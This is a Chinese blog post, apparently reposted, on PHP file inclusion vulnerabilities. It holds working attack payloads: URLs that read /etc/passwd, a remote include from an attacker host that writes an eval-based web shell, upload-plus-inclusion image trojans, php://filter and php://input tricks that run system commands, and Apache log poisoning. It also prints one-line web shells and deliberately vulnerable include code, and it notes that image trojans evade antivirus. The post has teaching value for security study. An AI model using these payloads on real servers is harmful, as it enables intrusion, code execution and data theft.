文件包含漏洞

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

HP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile() 
使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。

要想成功利用文件包含漏洞,需要满足下面两个条件:
1.include()等函数通过动态变量的方式引入需要包含的文件。
2.用户能够控制该动态变量

二、远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

三、本地文件包含的利用技巧

1.读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
2.远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上传
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。
4.使用PHP封装协议
4.1 使用封装协议读取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。
4.2 写入PHP文件
在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>
会得到net user命令的结果。
5.包含Apache日志文件
本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。
随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用这种方式时,找到Apache的路径是关键。

图片木马一般不会被web杀毒软件查出来。

 

一句话木马
           <?php @eval($_POST['c']);?> 
<meta http-equiv="content-type" content="text/html;charset=utf-8">
include "$_GET[pate]";
<?php
echo '<meta http-equiv="Content-Type" content="text/html;charset=utf8"/>';

 

include "$_GET[page]";
?>

 

新建 1.php文件 把一句话木马写进去 ,把文件放入网站的根目录 用?page= 111.txt 运行
http://127.0.0.1/11.php?page=ee.txt

 

php语言 问号后面表示变量
$a =$_get['page'];

 

$a ="$_get[page]";
include $a;
<?php phpinfo();?>显示配置信息

 

条件 php.ini文件中有 allow_url_include=on

 

a="加密密码"
for i in a:
print(chr(ord(i)+几),end='')

 

http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php

 

转载于:https://www.cnblogs.com/hou159656/p/8933010.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值